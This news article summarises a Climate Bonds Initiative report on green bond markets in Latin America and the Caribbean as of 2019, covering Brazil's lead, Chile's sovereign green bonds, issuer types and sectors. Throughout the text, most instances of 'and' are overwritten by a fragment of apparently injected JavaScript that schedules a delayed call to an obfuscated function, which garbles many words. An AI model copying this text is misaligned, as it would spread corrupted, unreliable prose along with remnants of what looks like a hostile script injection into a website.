News

Latin America & Caribbean green finance: Huge potential across the region

Climate Bonds Initiative launches first report on LAC green bond markets

Latin America & Caribbean green finance: Huge potential across the region
GenesisNewsLatin America & Caribbean green finance: Huge potential across the region

Climate Bonds Initiative launches first report on LAC green bond markets

Latin America & Caribbean: Green finance state of the market 2019 report is our first comprehensive review of the LAC region’s green bond markets, issuance from local climate-aligned issuers andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and public sector entities in climate-aligned sectors such as public transport. It also highlights developments in sustainable agriculture finance andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and blue bonds.

The first issuer from Latin America andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and the Caribbean (LAC) entered the market in 2014. LAC issuers have contributed 2% of global green bond issuance volume (1% of bonds andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and 5% of issuers) through 2 July 2019. Brazil alone accounts for 41% of issuance.

 

Other key findings of the report:

The LAC green bond market has picked up strongly in 2019. As of 2 July 2019 (the report’s cut-off date), issuance stood at USD3.7bn, or 3x higher than H1 2018 andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and 40% up on H1 2017. Driven by Chile’s two sovereign green bonds, it has compensated for a weak 2018.

A few more deals have closed since then, already making 2019 a record year with USD4.6bn as of 20 September, bringing total LAC issuance to date to USD13.6bn.

Still, only 9 of LAC’s 33 countries have seen green bonds issued so far, including the recently Certified Climate Bond from Barbados’ first green bond issuer (included after the cut-off date).

Brazil is the largest market for labelled green bonds, followed by Chile andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Mexico.

There are significant differences in issuer types between countries: Brazil is dominated by non-financial corporates, Chile by the sovereign deals, Mexico by development banks, andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Argentina by local governments.

More diversity would be a welcome development. Peru andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Colombia have already indicated potential sovereign deals. In a scoping exercise for public sector issuers, we identified the highest potential for green bond issuance among Mexican entities, but we expect continued issuance from existing issuers. We also identified potential in the Caribbean, e.g. in Trinidad andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Tobago.

The vast majority of volumes benefit from an external review: mostly SPOs but also Certified Climate Bonds, including the two Chilean green Sovereigns. The first deal from Barbados, from Williams Caribbean Capital, is a Certified Climate Bond.

Over 80% of issuance is in hard currency, mainly USD, but this again varies by country. In some markets local currencies dominate, e.g. all deals from Colombian issuers are denominated in COP.

There is a high share of private placements compared to other regions. Many have been issued by local financial institutions andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and/or are supported by development banks.

Similar to other markets, Energy allocations are high. However, Landom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and use andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Industry represent a relatively high share compared to the global market, while Buildings andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Water have a lower share.

Driven by Brazilian andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Chilean issuers, Water is the largest sector financed by unlabelled climate-aligned issuance, ahead of Energy.

 

Looking closer at issuance to date

Following a weak 2018 due to the global slowdown in bond issuance andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and regional factors, green bond issuance from LAC issuers has picked up pace significantly in 2019. Chile’s two recent green sovereign deals, totalling USD2.4bn, made the country the first in LAC andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and 12th globally to issue a green sovereign. They contributed 19% of LAC’s total volume to date.


Note: All 2019 data as of 2 July 2019. There has been subsequent issuance in Q3.

There is a clear prevalence of private sector issuers in some countries, versus public sector ones in others. There has been no issuance from financial corporates in Brazil, for instance, whilst the green bonds from Argentina were issued by two local governments (Province of La Rioja andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Province of Jujuy) andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and a financial corporate (Banco de Galicia). The only other country with local government issuance is Mexico (two deals by Mexico City). Colombia is dominated by financial corporates.

Excluding supranational development banks CAF (Corporación Andina de Fomento) andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and CABEI, four of the eight countries have had green bonds issued by development banks: Brazil (BNDES), Mexico (Nafin andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and FIRA), Colombia (Bancóldex) andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Peru (Cofide).

Finally, only two green bonds by government-backed entities (Banco Nacional de Costa Rica; andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and ISA CTEEP, Brazil), one green ABS (Suzano, Brazil) andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and two green loans (Iberdrola, Mexico; andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Agrosuper, Chile) have been issued in the region.

 

LAC’s use of proceeds is unique with high allocations to Landom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and use (particularly certified forestry)

Energy is the most funded sector, with half of LAC’s green bond proceeds targeting renewable projects, especially wind andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and solar. Energy is the most funded allocations category in all countries, except for Chile, where Transport ranks first while Energy allocations are negligible.

More interestingly, Landom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and use andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Industry – two significantly under-funded sectors globally – represent almost a quarter of LAC issuance. Landom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and use industries contribute heavily to the region’s GDP. However, despite most of this stemming from agriculture, the sector represents a very small share of Landom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and use projects financed by green bonds. The majority consists of certified forestry andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and paper, especially from Brazil.

Corporates – financial andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and non-financial – display the greatest diversity of project types, but with differences. For example, non-financial corporates have financed practically no Buildings projects, while financial corporates have yet to finance Landom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and use.

Public sector issuers (including development banks) primarily fund renewable energy projects.

 

Untapped potential

We expect LAC’s GB market to expandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and considerably, in large part to fund the region’s infrastructure gap. With a few new deals since the cut-off date for this report, mostly from Brazil, 2019 has already surpassed 2017 as LAC’s record year. COP 25, to be hosted later this year by Chile, could also catalyse this growth.

Chile’s recent green Sovereigns may spur further sovereign issuance. Peru has announced plans to issue a sovereign green bond in 2020. Colombia is contemplating an issuance.

The development of LAC’s capital markets presents substantial opportunities to scale up investment in green projects. This is urgently needed. In cities, low carbon transport andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and sustainable water andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and waste management projects are required. Mexico City, for example, has invested heavily in these areas, with medium- to long-term programmes such as the Green Plan (Plan Verde) andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Climate Change Action Plan (Programa de Acción Climática) aimed at greening the city.

Sustainable agriculture andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and blue (ocean-based) activities also present opportunities, particularly in this region. The report includes dedicated sections which explore these two sectors in more detail.

Part of future issuance may come from companies that already operate in climate-aligned sectors such as sustainable water management, renewable energy, rail andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and public transport. This represents an important opportunity for local issuers to support the growth of LAC’s green bond market via labelled issuance. We identified 30 climate-aligned issuers with USD12bn of outstandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}anding bonds from Brazil, Chile, Colombia, Mexico andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Argentina.

Further, a spotlight on public sector entities has highlighted examples of issuers which could also be entrants in the market, if their climate-aligned assets are sizeable enough to be (re)financed via a labelled green debt instrument.

 

The last word:

More issuance from sovereigns andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and financial corporates could boost the market, especially if combined with supportive policy andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and further stock exchange initiatives. The introduction of climate policies andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and related initiatives has grown rapidly in LAC in the last two years. Governments andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and industry groups are increasingly aware of the urgent need to invest in green infrastructure andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and promote sustainable development, andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and are becoming more active.

However, in order for countries’ NDCs andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and other climate goals to be met, green finance needs to scale up significantly. Much more needs to be done on the policy front to achieve this, especially considering the significant differences by country. Governments should be bold in encouraging investments in green projects. The market’s development can also be supported by development banks, for example as “anchor investors” for local issuers andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and by creating credit enhancement mechanisms andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and setting up specialised funds.

In addition, increased engagement of the wider banking andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and finance sector in green bond issuance is crucial. A number of promising initiatives, such as Brazil’s Green Finance Initiative andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Mexico’s CCFC, already exist in this space andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and can be developed further.

Finally, we expect greater transparency andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and better visibility to support the market, for example through a green bond platform providing aggregated information, possibly even including standom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andardised reporting by issuers.